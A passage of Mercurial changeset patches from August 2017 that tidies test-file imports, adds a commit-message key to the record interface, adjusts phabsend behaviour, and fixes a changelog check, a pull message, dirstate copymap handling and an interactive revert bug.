# Node ID 237d2502ee6ee811b90d74a188afc9ad9d08a908
# Parent  4d40fd0283d8f92c1ad8782101f7baabc58d8217
tests: update test-keyword to pass our import checker

diff --git a/tests/test-keyword.t b/tests/test-keyword.t
--- a/tests/test-keyword.t
+++ b/tests/test-keyword.t
@@ -1412,7 +1412,7 @@
   $ mv $HGRCPATH.new $HGRCPATH
 
   >>> from __future__ import print_function
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def check(server):
   ...     # hello block
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435457 14400
#      Tue Aug 22 16:57:37 2017 -0400
# Node ID 99113426105723c0d1573f87b3c02db9d9582b95
# Parent  237d2502ee6ee811b90d74a188afc9ad9d08a908
tests: update test-largefiles-small-disk to pass our import checker

diff --git a/tests/test-largefiles-small-disk.t b/tests/test-largefiles-small-disk.t
--- a/tests/test-largefiles-small-disk.t
+++ b/tests/test-largefiles-small-disk.t
@@ -1,7 +1,10 @@
 Test how largefiles abort in case the disk runs full
 
   $ cat > criple.py <<EOF
-  > import os, errno, shutil
+  > from __future__ import absolute_import
+  > import errno
+  > import os
+  > import shutil
   > from mercurial import util
   > #
   > # this makes the original largefiles code abort:
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435487 14400
#      Tue Aug 22 16:58:07 2017 -0400
# Node ID 9a0f33f497cd1e3cb736b4444ab9ffebd682c0ed
# Parent  99113426105723c0d1573f87b3c02db9d9582b95
tests: update test-largefiles-wireproto to pass our import checker

diff --git a/tests/test-largefiles-wireproto.t b/tests/test-largefiles-wireproto.t
--- a/tests/test-largefiles-wireproto.t
+++ b/tests/test-largefiles-wireproto.t
@@ -226,7 +226,8 @@
   added 1 changesets with 1 changes to 1 files
 
 Archive contains largefiles
-  >>> import urllib2, os
+  >>> import os
+  >>> import urllib2
   >>> u = 'http://localhost:%s/archive/default.zip' % os.environ['HGPORT2']
   >>> with open('archive.zip', 'w') as f:
   ...     f.write(urllib2.urlopen(u).read())
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435493 14400
#      Tue Aug 22 16:58:13 2017 -0400
# Node ID bfafd189edd9bc24703d0165e977f1bfcf409041
# Parent  9a0f33f497cd1e3cb736b4444ab9ffebd682c0ed
tests: update test-log-exthook to pass our import checker

diff --git a/tests/test-log-exthook.t b/tests/test-log-exthook.t
--- a/tests/test-log-exthook.t
+++ b/tests/test-log-exthook.t
@@ -2,8 +2,12 @@
 -------------------------------------------
 
   $ cat > $TESTTMP/logexthook.py <<EOF
-  > from mercurial import repair, commands
-  > from mercurial import cmdutil
+  > from __future__ import absolute_import
+  > from mercurial import (
+  >   cmdutil,
+  >   commands,
+  >   repair,
+  > )
   > def rot13description(self, ctx):
   >     summary = "summary".encode('rot13')
   >     description = ctx.description().strip().splitlines()[0].encode('rot13')
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435502 14400
#      Tue Aug 22 16:58:22 2017 -0400
# Node ID 251bd3fddd9b6744a2f69aaa4835c00b6adbe971
# Parent  bfafd189edd9bc24703d0165e977f1bfcf409041
tests: update test-log to pass our import checker

diff --git a/tests/test-log.t b/tests/test-log.t
--- a/tests/test-log.t
+++ b/tests/test-log.t
@@ -2027,7 +2027,8 @@
 
   $ cat > ../names.py <<EOF
   > """A small extension to test adding arbitrary names to a repo"""
-  > from mercurial.namespaces import namespace
+  > from __future__ import absolute_import
+  > from mercurial import namespaces
   > 
   > def reposetup(ui, repo):
   >     foo = {'foo': repo[0].node()}
@@ -2035,9 +2036,10 @@
   >     namemap = lambda r, name: foo.get(name)
   >     nodemap = lambda r, node: [name for name, n in foo.iteritems()
   >                                if n == node]
-  >     ns = namespace("bars", templatename="bar", logname="barlog",
-  >                    colorname="barcolor", listnames=names, namemap=namemap,
-  >                    nodemap=nodemap)
+  >     ns = namespaces.namespace(
+  >         "bars", templatename="bar", logname="barlog",
+  >         colorname="barcolor", listnames=names, namemap=namemap,
+  >         nodemap=nodemap)
   > 
   >     repo.names.addnamespace(ns)
   > EOF
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435508 14400
#      Tue Aug 22 16:58:28 2017 -0400
# Node ID e98dab3fafbc5b96775bcdd81b145c8015facc7c
# Parent  251bd3fddd9b6744a2f69aaa4835c00b6adbe971
tests: update test-logtoprocess to pass our import checker

diff --git a/tests/test-logtoprocess.t b/tests/test-logtoprocess.t
--- a/tests/test-logtoprocess.t
+++ b/tests/test-logtoprocess.t
@@ -8,8 +8,8 @@
 
   $ hg init
   $ cat > $TESTTMP/foocommand.py << EOF
+  > from __future__ import absolute_import
   > from mercurial import registrar
-  > from time import sleep
   > cmdtable = {}
   > command = registrar.command(cmdtable)
   > @command(b'foo', [])
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435517 14400
#      Tue Aug 22 16:58:37 2017 -0400
# Node ID 00658bb0dfd5224300fb1228e2de93d38d0d17e1
# Parent  e98dab3fafbc5b96775bcdd81b145c8015facc7c
tests: update test-merge-symlinks to pass our import checker

diff --git a/tests/test-merge-symlinks.t b/tests/test-merge-symlinks.t
--- a/tests/test-merge-symlinks.t
+++ b/tests/test-merge-symlinks.t
@@ -1,7 +1,8 @@
   $ cat > echo.py <<EOF
   > #!$PYTHON
-  > from __future__ import print_function
-  > import os, sys
+  > from __future__ import absolute_import, print_function
+  > import os
+  > import sys
   > try:
   >     import msvcrt
   >     msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435523 14400
#      Tue Aug 22 16:58:43 2017 -0400
# Node ID 06a740540ea133ceaa179c112a06ce897a1b793e
# Parent  00658bb0dfd5224300fb1228e2de93d38d0d17e1
tests: update test-merge1 to pass our import checker

diff --git a/tests/test-merge1.t b/tests/test-merge1.t
--- a/tests/test-merge1.t
+++ b/tests/test-merge1.t
@@ -340,9 +340,14 @@
 isn't changed on the filesystem (see also issue4583).
 
   $ cat > $TESTTMP/abort.py <<EOF
+  > from __future__ import absolute_import
   > # emulate aborting before "recordupdates()". in this case, files
   > # are changed without updating dirstate
-  > from mercurial import extensions, merge, error
+  > from mercurial import (
+  >   error,
+  >   extensions,
+  >   merge,
+  > )
   > def applyupdates(orig, *args, **kwargs):
   >     orig(*args, **kwargs)
   >     raise error.Abort('intentional aborting')
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435527 14400
#      Tue Aug 22 16:58:47 2017 -0400
# Node ID cefad71d1a4533f146c3f3efe45b7e2e595df94a
# Parent  06a740540ea133ceaa179c112a06ce897a1b793e
tests: update test-notify to pass our import checker

diff --git a/tests/test-notify.t b/tests/test-notify.t
--- a/tests/test-notify.t
+++ b/tests/test-notify.t
@@ -1,6 +1,7 @@
   $ cat > $TESTTMP/filter.py <<EOF
-  > from __future__ import print_function
-  > import sys, re
+  > from __future__ import absolute_import, print_function
+  > import re
+  > import sys
   > print(re.sub("\n[ \t]", " ", sys.stdin.read()), end="")
   > EOF
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435532 14400
#      Tue Aug 22 16:58:52 2017 -0400
# Node ID a65f928e47d5e9ca660cdbfd7ee41b097d201703
# Parent  cefad71d1a4533f146c3f3efe45b7e2e595df94a
tests: update test-obsolete to pass our import checker

diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -1207,8 +1207,9 @@
 Test heads computation on pending index changes with obsolescence markers
   $ cd ..
   $ cat >$TESTTMP/test_extension.py  << EOF
+  > from __future__ import absolute_import
+  > from mercurial.i18n import _
   > from mercurial import cmdutil, registrar
-  > from mercurial.i18n import _
   > 
   > cmdtable = {}
   > command = registrar.command(cmdtable)
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435537 14400
#      Tue Aug 22 16:58:57 2017 -0400
# Node ID dcfa836527449538b512a2fd686f37fe8acb979e
# Parent  a65f928e47d5e9ca660cdbfd7ee41b097d201703
tests: update test-pager to pass our import checker

diff --git a/tests/test-pager.t b/tests/test-pager.t
--- a/tests/test-pager.t
+++ b/tests/test-pager.t
@@ -342,7 +342,9 @@
 
 Environment variables like LESS and LV are set automatically:
   $ cat > $TESTTMP/printlesslv.py <<EOF
-  > import os, sys
+  > from __future__ import absolute_import
+  > import os
+  > import sys
   > sys.stdin.read()
   > for name in ['LESS', 'LV']:
   >     sys.stdout.write(('%s=%s\n') % (name, os.environ.get(name, '-')))
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435542 14400
#      Tue Aug 22 16:59:02 2017 -0400
# Node ID b1f75d8e887a4c06e6b120807f3defc5c7b78d33
# Parent  dcfa836527449538b512a2fd686f37fe8acb979e
tests: update test-patch to pass our import checker

diff --git a/tests/test-patch.t b/tests/test-patch.t
--- a/tests/test-patch.t
+++ b/tests/test-patch.t
@@ -1,8 +1,9 @@
   $ cat > patchtool.py <<EOF
+  > from __future__ import absolute_import, print_function
   > import sys
-  > print 'Using custom patch'
+  > print('Using custom patch')
   > if '--binary' in sys.argv:
-  >     print '--binary found !'
+  >     print('--binary found !')
   > EOF
 
   $ echo "[ui]" >> $HGRCPATH
# HG changeset patch
# User Peter Vitt <peter.vitt2@uni-siegen.de>
# Date 1503920611 -7200
#      Mon Aug 28 13:43:31 2017 +0200
# Node ID a1cd6eae2ad36745340dcb127319df720ec142a8
# Parent  b1f75d8e887a4c06e6b120807f3defc5c7b78d33
record: make the m key open an editor for the commit message (issue5667)

With the former crecord extension, the user could edit the commit
message while he was de-/selecting hunks. By pressing 'm', an editor
showed up to edit the commit message.

With record being part of mercurial, this feature is not available
anymore. However, the help text still mentions it.

As the infrastructure needed is still present, this feature is quite
easily ported from the crecord extension to mercurial.

It seems there is no test coverage for record ui, so I tested this patch
manually on my local machine.

diff --git a/mercurial/crecord.py b/mercurial/crecord.py
--- a/mercurial/crecord.py
+++ b/mercurial/crecord.py
@@ -1440,6 +1440,17 @@
         except curses.error:
             pass
 
+    def commitMessageWindow(self):
+        "Create a temporary commit message editing window on the screen."
+
+        curses.raw()
+        curses.def_prog_mode()
+        curses.endwin()
+        self.commenttext = self.ui.edit(self.commenttext, self.ui.username())
+        curses.cbreak()
+        self.stdscr.refresh()
+        self.stdscr.keypad(1) # allow arrow-keys to continue to function
+
     def confirmationwindow(self, windowtext):
         "display an informational window, then wait for and return a keypress."
 
@@ -1661,6 +1672,8 @@
             self.togglefolded()
         elif keypressed in ["F"]:
             self.togglefolded(foldparent=True)
+        elif keypressed in ["m"]:
+            self.commitMessageWindow()
         elif keypressed in ["?"]:
             self.helpwindow()
             self.stdscr.clear()
@@ -1736,3 +1749,8 @@
                 keypressed = "foobar"
             if self.handlekeypressed(keypressed):
                 break
+
+        if self.commenttext != "":
+            whitespaceremoved = re.sub("(?m)^\s.*(\n|$)", "", self.commenttext)
+            if whitespaceremoved != "":
+                self.opts['message'] = self.commenttext
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503620770 25200
#      Thu Aug 24 17:26:10 2017 -0700
# Node ID 45a8cd74de4e689bac82f6f45877f0d08f0c2276
# Parent  a1cd6eae2ad36745340dcb127319df720ec142a8
phabsend: polish the docstring a bit

Differential Revision: https://phab.mercurial-scm.org/D510

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -362,10 +362,10 @@
 
     The --confirm option lets you confirm changesets before sending them. You
     can also add following to your configuration file to make it default
-    behaviour.
+    behaviour::
 
-    [phabsend]
-    confirm = true
+        [phabsend]
+        confirm = true
 
     phabsend will check obsstore and the above association to decide whether to
     update an existing Differential Revision, or create a new one.
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503618748 25200
#      Thu Aug 24 16:52:28 2017 -0700
# Node ID 07ffff841863667469ac992c50adf24e7ad6ee82
# Parent  45a8cd74de4e689bac82f6f45877f0d08f0c2276
phabsend: make --amend the default

The local tag feature was intended to make `phabsend` closer to `email`
workflow. But its experience is not great in multiple ways:

  - after rebase, obsoleted changesets are still visible because of tags
  - without obsstore, the association information will get lost
  - even with obsstore, things could go wrong with graft, export+import
  - no easy way to tell which Differential Revision a commit is associated

Therefore make `--amend` the default. People wanting the old behavior can
use `--no-amend`.

Differential Revision: https://phab.mercurial-scm.org/D511

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -7,9 +7,9 @@
 """simple Phabricator integration
 
 This extension provides a ``phabsend`` command which sends a stack of
-changesets to Phabricator without amending commit messages, and a ``phabread``
-command which prints a stack of revisions in a format suitable
-for :hg:`import`, and a ``phabupdate`` command to update statuses in batch.
+changesets to Phabricator, and a ``phabread`` command which prints a stack of
+revisions in a format suitable for :hg:`import`, and a ``phabupdate`` command
+to update statuses in batch.
 
 By default, Phabricator requires ``Test Plan`` which might prevent some
 changeset from being sent. The requirement could be disabled by changing
@@ -339,7 +339,7 @@
 
 @command('phabsend',
          [('r', 'rev', [], _('revisions to send'), _('REV')),
-          ('', 'amend', False, _('update commit messages')),
+          ('', 'amend', True, _('update commit messages')),
           ('', 'reviewer', [], _('specify reviewers')),
           ('', 'confirm', None, _('ask for confirmation before sending'))],
          _('REV [OPTIONS]'))
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503620718 25200
#      Thu Aug 24 17:25:18 2017 -0700
# Node ID 27ff2a87d8c0a686fd05ed55f6ff1801bc2580eb
# Parent  07ffff841863667469ac992c50adf24e7ad6ee82
phabsend: detect patch change with larger context

Previously phabsend has an optimization that will skip uploading a diff if
the patch (with context line number = 1) remains unchanged. That could be
confusing:

  Aug 24 15:52:28 <martinvonz> phillco: something is wrong with phabricator'your patches/
  Aug 24 15:52:45 <martinvonz> ... with phabricator's view of your patches again
  Aug 24 15:53:38 <martinvonz> if i phabread D388 and then D399, i get a version of filemerge.py with "a, b, c" somewhere on line 344, which is not what phabricator shows for D399
  Aug 24 15:53:51 <martinvonz> junw: maybe that's more for you ^

Fix that by checking context with 32767 lines, which is the same as what
will be actually sent.

Differential Revision: https://phab.mercurial-scm.org/D512

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -274,7 +274,7 @@
     """
     repo = ctx.repo()
     if oldnode:
-        diffopts = mdiff.diffopts(git=True, context=1)
+        diffopts = mdiff.diffopts(git=True, context=32767)
         oldctx = repo.unfiltered()[oldnode]
         neednewdiff = (getdiff(ctx, diffopts) != getdiff(oldctx, diffopts))
     else:
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503621093 25200
#      Thu Aug 24 17:31:33 2017 -0700
# Node ID edeb8f28c03105b2c2dd1bfa9fac39067e8de082
# Parent  27ff2a87d8c0a686fd05ed55f6ff1801bc2580eb
phabsend: print the actual URL with --confirm

Sometimes people have multiple Phabricator endpoints set in multiple repos.
It seems better for `--confirm` to prompt about the Phabricator endpoint
patches being sent to.

Differential Revision: https://phab.mercurial-scm.org/D513

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -475,6 +475,7 @@
                               (r'node', 'Node ID'), (r'parent', 'Parent ')])
 
 def _confirmbeforesend(repo, revs):
+    url, token = readurltoken(repo)
     ui = repo.ui
     for rev in revs:
         ctx = repo[rev]
@@ -482,8 +483,8 @@
         ui.write(('%d: ' % rev), label='phabsend.revnumber')
         ui.write(('%s\n' % desc), label='phabsend.desc')
 
-    if ui.promptchoice(_('Phabsend the above changes (yn)?'
-                            '$$ &Yes $$ &No')):
+    if ui.promptchoice(_('Send the above changes to %s (yn)?'
+                         '$$ &Yes $$ &No') % url):
         return False
 
     return True
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503621848 25200
#      Thu Aug 24 17:44:08 2017 -0700
# Node ID 088598153aa28a1c65e9757dd52cfc406a330156
# Parent  edeb8f28c03105b2c2dd1bfa9fac39067e8de082
phabsend: show associated Differential Revisions with --confirm

Often people running `phabsend --confirm` just want to check whether a
commit will trigger a creation of new Differential Revision, or update an
existing one. This patch implements that. The `--confirm` message was
changed to use node instead of revision number to be consistent with what
`phabsend` outputs.

An example output looks like:

  D487 - a80f447973a0 test-extension: enable demandimport explicitly
  D494 - cf440ea6e47e test-casecollision-merge: fix the test
  NEW - 0a6b97147128 phabsend: polish the docstring a bit
  Send the above changes to https://phab.mercurial-scm.org/ (yn)?

Differential Revision: https://phab.mercurial-scm.org/D514

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -378,10 +378,13 @@
     if opts.get('amend'):
         cmdutil.checkunfinished(repo)
 
+    # {newnode: (oldnode, olddiff, olddrev}
+    oldmap = getoldnodedrevmap(repo, [repo[r].node() for r in revs])
+
     confirm = ui.configbool('phabsend', 'confirm')
     confirm |= bool(opts.get('confirm'))
     if confirm:
-        confirmed = _confirmbeforesend(repo, revs)
+        confirmed = _confirmbeforesend(repo, revs, oldmap)
         if not confirmed:
             raise error.Abort(_('phabsend cancelled'))
 
@@ -391,9 +394,6 @@
         phids = userphids(repo, reviewers)
         actions.append({'type': 'reviewers.add', 'value': phids})
 
-    # {newnode: (oldnode, olddiff, olddrev}
-    oldmap = getoldnodedrevmap(repo, [repo[r].node() for r in revs])
-
     drevids = [] # [int]
     diffmap = {} # {newnode: diff}
 
@@ -474,14 +474,21 @@
 _metanamemap = util.sortdict([(r'user', 'User'), (r'date', 'Date'),
                               (r'node', 'Node ID'), (r'parent', 'Parent ')])
 
-def _confirmbeforesend(repo, revs):
+def _confirmbeforesend(repo, revs, oldmap):
     url, token = readurltoken(repo)
     ui = repo.ui
     for rev in revs:
         ctx = repo[rev]
         desc = ctx.description().splitlines()[0]
-        ui.write(('%d: ' % rev), label='phabsend.revnumber')
-        ui.write(('%s\n' % desc), label='phabsend.desc')
+        oldnode, olddiff, drevid = oldmap.get(ctx.node(), (None, None, None))
+        if drevid:
+            drevdesc = ui.label('D%s' % drevid, 'phabricator.drev')
+        else:
+            drevdesc = ui.label(_('NEW'), 'phabricator.drev')
+
+        ui.write(_('%s - %s: %s\n') % (drevdesc,
+                                       ui.label(bytes(ctx), 'phabricator.node'),
+                                       ui.label(desc, 'phabricator.desc')))
 
     if ui.promptchoice(_('Send the above changes to %s (yn)?'
                          '$$ &Yes $$ &No') % url):
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1503723910 25200
#      Fri Aug 25 22:05:10 2017 -0700
# Node ID 3939b30d0cb78e43e00f50b9b5bfe882a3b9191f
# Parent  088598153aa28a1c65e9757dd52cfc406a330156
changelog: abort on attempt to write wdir revision

Similar to the previous patch which prevented writing the null
revision to any revlog, but this is for the wdir revision.

Thanks to Jun for pointing this out.

Differential Revision: https://phab.mercurial-scm.org/D524

diff --git a/mercurial/changelog.py b/mercurial/changelog.py
--- a/mercurial/changelog.py
+++ b/mercurial/changelog.py
@@ -14,6 +14,7 @@
     bin,
     hex,
     nullid,
+    wdirid,
 )
 
 from . import (
@@ -535,6 +536,9 @@
         # overlay over the standard revlog._addrevision to track the new
         # revision on the transaction.
         rev = len(self)
+        if node == wdirid: # nullid is checked in super method
+            raise error.RevlogError(_("%s: attempt to add wdir revision") %
+                                    (self.indexfile))
         node = super(changelog, self)._addrevision(node, rawtext, transaction,
                                                    *args, **kwargs)
         revs = transaction.changes.get('revs')
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503631516 25200
#      Thu Aug 24 20:25:16 2017 -0700
# Node ID 8abbae93045a222becd3f87c6e828a41729f2953
# Parent  3939b30d0cb78e43e00f50b9b5bfe882a3b9191f
pull: do not prompt "hg update" if update.requiredest is set

Previously, after pull, we show:

  (run 'hg update' to get a working copy)

unconditionally. People might run `hg update` and get an exception if
`update.requiredest` is set, and get a bit frustrated. This patch changes
the code to not prompt `hg update` in that case.

Differential Revision: https://phab.mercurial-scm.org/D516

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -3849,7 +3849,7 @@
                         "merge)\n"))
         else:
             ui.status(_("(run 'hg heads' to see heads)\n"))
-    else:
+    elif not ui.configbool('commands', 'update.requiredest'):
         ui.status(_("(run 'hg update' to get a working copy)\n"))
 
 @command('^pull',
diff --git a/tests/test-update-dest.t b/tests/test-update-dest.t
--- a/tests/test-update-dest.t
+++ b/tests/test-update-dest.t
@@ -33,3 +33,16 @@
   abort: update destination required by configuration
   (use hg pull followed by hg update DEST)
   [255]
+
+  $ cd ..
+
+update.requiredest should silent the "hg update" text after pull
+  $ hg init repo1
+  $ cd repo1
+  $ hg pull ../repo
+  pulling from ../repo
+  requesting all changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 2 changes to 1 files
# HG changeset patch
# User Michael Bolin <mbolin@fb.com>
# Date 1503512697 0
#      Wed Aug 23 18:24:57 2017 +0000
# Node ID 5cb0a8fe096e4171c0456ed499bef2301623a6f9
# Parent  8abbae93045a222becd3f87c6e828a41729f2953
dirstate: perform transactions with _copymap using single call, where possible

This replaces patterns such as this:

```
if f in self._copymap:
    del self._copymap[f]
```

with this:

```
self._copymap.pop(f, None)
```

Although eliminating the extra lookup/call may be a negligible performance win
in the standard dirstate, alternative implementations, such as
[sqldirstate](https://bitbucket.org/facebook/hg-experimental/src/default/sqldirstate/)
may see a bigger win where each of these calls results in an RPC,
so the savings is greater.

Test Plan:
`make tests`

Differential Revision: https://phab.mercurial-scm.org/D493

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -406,13 +406,15 @@
 
                 # Discard 'm' markers when moving away from a merge state
                 if s[0] == 'm':
-                    if f in self._copymap:
-                        copies[f] = self._copymap[f]
+                    source = self._copymap.get(f)
+                    if source:
+                        copies[f] = source
                     self.normallookup(f)
                 # Also fix up otherparent markers
                 elif s[0] == 'n' and s[2] == -2:
-                    if f in self._copymap:
-                        copies[f] = self._copymap[f]
+                    source = self._copymap.get(f)
+                    if source:
+                        copies[f] = source
                     self.add(f)
         return copies
 
@@ -518,8 +520,7 @@
             self._copymap[dest] = source
             self._updatedfiles.add(source)
             self._updatedfiles.add(dest)
-        elif dest in self._copymap:
-            del self._copymap[dest]
+        elif self._copymap.pop(dest, None):
             self._updatedfiles.add(dest)
 
     def copied(self, file):
@@ -568,8 +569,7 @@
         mtime = s.st_mtime
         self._addpath(f, 'n', s.st_mode,
                       s.st_size & _rangemask, mtime & _rangemask)
-        if f in self._copymap:
-            del self._copymap[f]
+        self._copymap.pop(f, None)
         if f in self._nonnormalset:
             self._nonnormalset.remove(f)
         if mtime > self._lastnormaltime:
@@ -597,8 +597,7 @@
             if entry[0] == 'm' or entry[0] == 'n' and entry[2] == -2:
                 return
         self._addpath(f, 'n', 0, -1, -1)
-        if f in self._copymap:
-            del self._copymap[f]
+        self._copymap.pop(f, None)
         if f in self._nonnormalset:
             self._nonnormalset.remove(f)
 
@@ -613,15 +612,12 @@
         else:
             # add-like
             self._addpath(f, 'n', 0, -2, -1)
-
-        if f in self._copymap:
-            del self._copymap[f]
+        self._copymap.pop(f, None)
 
     def add(self, f):
         '''Mark a file added.'''
         self._addpath(f, 'a', 0, -1, -1)
-        if f in self._copymap:
-            del self._copymap[f]
+        self._copymap.pop(f, None)
 
     def remove(self, f):
         '''Mark a file removed.'''
@@ -638,8 +634,8 @@
                 self._otherparentset.add(f)
         self._map[f] = dirstatetuple('r', 0, size, 0)
         self._nonnormalset.add(f)
-        if size == 0 and f in self._copymap:
-            del self._copymap[f]
+        if size == 0:
+            self._copymap.pop(f, None)
 
     def merge(self, f):
         '''Mark a file merged.'''
@@ -655,8 +651,7 @@
             del self._map[f]
             if f in self._nonnormalset:
                 self._nonnormalset.remove(f)
-            if f in self._copymap:
-                del self._copymap[f]
+            self._copymap.pop(f, None)
 
     def _discoverpath(self, path, normed, ignoremissing, exists, storemap):
         if exists is None:
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1503956403 14400
#      Mon Aug 28 17:40:03 2017 -0400
# Node ID 6d9e7145d8d996390b2bb6c9c822400b94fa9654
# Parent  5cb0a8fe096e4171c0456ed499bef2301623a6f9
# Parent  5707bfe04deb953cd4d031c2ff099ac6a2bff6d2
merge with stable

diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -972,7 +972,7 @@
         that, swap fromline/toline and +/- signs while keep other things
         unchanged.
         """
-        m = {'+': '-', '-': '+'}
+        m = {'+': '-', '-': '+', '\\': '\\'}
         hunk = ['%s%s' % (m[l[0]], l[1:]) for l in self.hunk]
         return recordhunk(self.header, self.toline, self.fromline, self.proc,
                           self.before, hunk, self.after)
diff --git a/tests/test-revert-interactive.t b/tests/test-revert-interactive.t
--- a/tests/test-revert-interactive.t
+++ b/tests/test-revert-interactive.t
@@ -460,3 +460,40 @@
   forget added file newfile (Yn)? y
   $ hg status
   ? newfile
+
+When a line without EOL is selected during "revert -i" (issue5651)
+
+  $ cat <<EOF >> $HGRCPATH
+  > [experimental]
+  > %unset revertalternateinteractivemode
+  > EOF
+
+  $ hg init $TESTTMP/revert-i-eol
+  $ cd $TESTTMP/revert-i-eol
+  $ echo 0 > a
+  $ hg ci -qAm 0
+  $ printf 1 >> a
+  $ hg ci -qAm 1
+  $ cat a
+  0
+  1 (no-eol)
+
+  $ hg revert -ir'.^' <<EOF
+  > y
+  > y
+  > EOF
+  reverting a
+  diff --git a/a b/a
+  1 hunks, 1 lines changed
+  examine changes to 'a'? [Ynesfdaq?] y
+  
+  @@ -1,1 +1,2 @@
+   0
+  +1
+  \ No newline at end of file
+  revert this change to 'a'? [Ynesfdaq?] y
+  
+  $ cat a
+  0
+
+  $ cd ..
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435546 14400
#      Tue Aug 22 16:59:06 2017 -0400
# Node ID 99e3227c83b53ac0bc76e453602deab6640f9999
# Parent  6d9e7145d8d996390b2bb6c9c822400b94fa9654
tests: update test-patchbomb to pass our import checker

diff --git a/tests/test-patchbomb.t b/tests/test-patchbomb.t
--- a/tests/test-patchbomb.t
+++ b/tests/test-patchbomb.t
@@ -9,18 +9,19 @@
 --===+[0-9]+=+$ -> --===*= (glob)
 
   $ cat > prune-blank-after-boundary.py <<EOF
+  > from __future__ import absolute_import, print_function
   > import sys
   > skipblank = False
   > trim = lambda x: x.strip(' \r\n')
   > for l in sys.stdin:
   >     if trim(l).endswith('=--') or trim(l).endswith('=='):
   >         skipblank = True
-  >         print l,
+  >         print(l, end='')
   >         continue
   >     if not trim(l) and skipblank:
   >         continue
   >     skipblank = False
-  >     print l,
+  >     print(l, end='')
   > EOF
   $ FILTERBOUNDARY="$PYTHON `pwd`/prune-blank-after-boundary.py"
   $ echo "[format]" >> $HGRCPATH
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435552 14400
#      Tue Aug 22 16:59:12 2017 -0400
# Node ID a37417e30a1feefe45a085fe32384c665cbbedf4
# Parent  99e3227c83b53ac0bc76e453602deab6640f9999
tests: update test-progress to pass our import checker

diff --git a/tests/test-progress.t b/tests/test-progress.t
--- a/tests/test-progress.t
+++ b/tests/test-progress.t
@@ -1,7 +1,8 @@
 
   $ cat > loop.py <<EOF
+  > from __future__ import absolute_import
+  > import time
   > from mercurial import commands, registrar
-  > import time
   > 
   > cmdtable = {}
   > command = registrar.command(cmdtable)
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435557 14400
#      Tue Aug 22 16:59:17 2017 -0400
# Node ID 68bc85f46fe33e4bf4e2b2359b835df3f15137b5
# Parent  a37417e30a1feefe45a085fe32384c665cbbedf4
tests: update test-requires to pass our import checker

diff --git a/tests/test-requires.t b/tests/test-requires.t
--- a/tests/test-requires.t
+++ b/tests/test-requires.t
@@ -32,7 +32,8 @@
 
   $ echo 'featuresetup-test' >> supported/.hg/requires
   $ cat > $TESTTMP/supported-locally/supportlocally.py <<EOF
-  > from mercurial import localrepo, extensions
+  > from __future__ import absolute_import
+  > from mercurial import extensions, localrepo
   > def featuresetup(ui, supported):
   >     for name, module in extensions.extensions(ui):
   >         if __name__ == module.__name__:
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435561 14400
#      Tue Aug 22 16:59:21 2017 -0400
# Node ID 169c97d4e72265e7143385e62641a71df825d045
# Parent  68bc85f46fe33e4bf4e2b2359b835df3f15137b5
tests: update test-share to pass our import checker

diff --git a/tests/test-share.t b/tests/test-share.t
--- a/tests/test-share.t
+++ b/tests/test-share.t
@@ -326,7 +326,12 @@
 
   $ cat > failpullbookmarks.py << EOF
   > """A small extension that makes bookmark pulls fail, for testing"""
-  > from mercurial import extensions, exchange, error
+  > from __future__ import absolute_import
+  > from mercurial import (
+  >   error,
+  >   exchange,
+  >   extensions,
+  > )
   > def _pullbookmarks(orig, pullop):
   >     orig(pullop)
   >     raise error.HookAbort('forced failure by extension')
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503435566 14400
#      Tue Aug 22 16:59:26 2017 -0400
# Node ID ed88f90bb7872a9352bad1ec6dea04b360045be2
# Parent  169c97d4e72265e7143385e62641a71df825d045
tests: update test-strip to pass our import checker

diff --git a/tests/test-strip.t b/tests/test-strip.t
--- a/tests/test-strip.t
+++ b/tests/test-strip.t
@@ -961,7 +961,8 @@
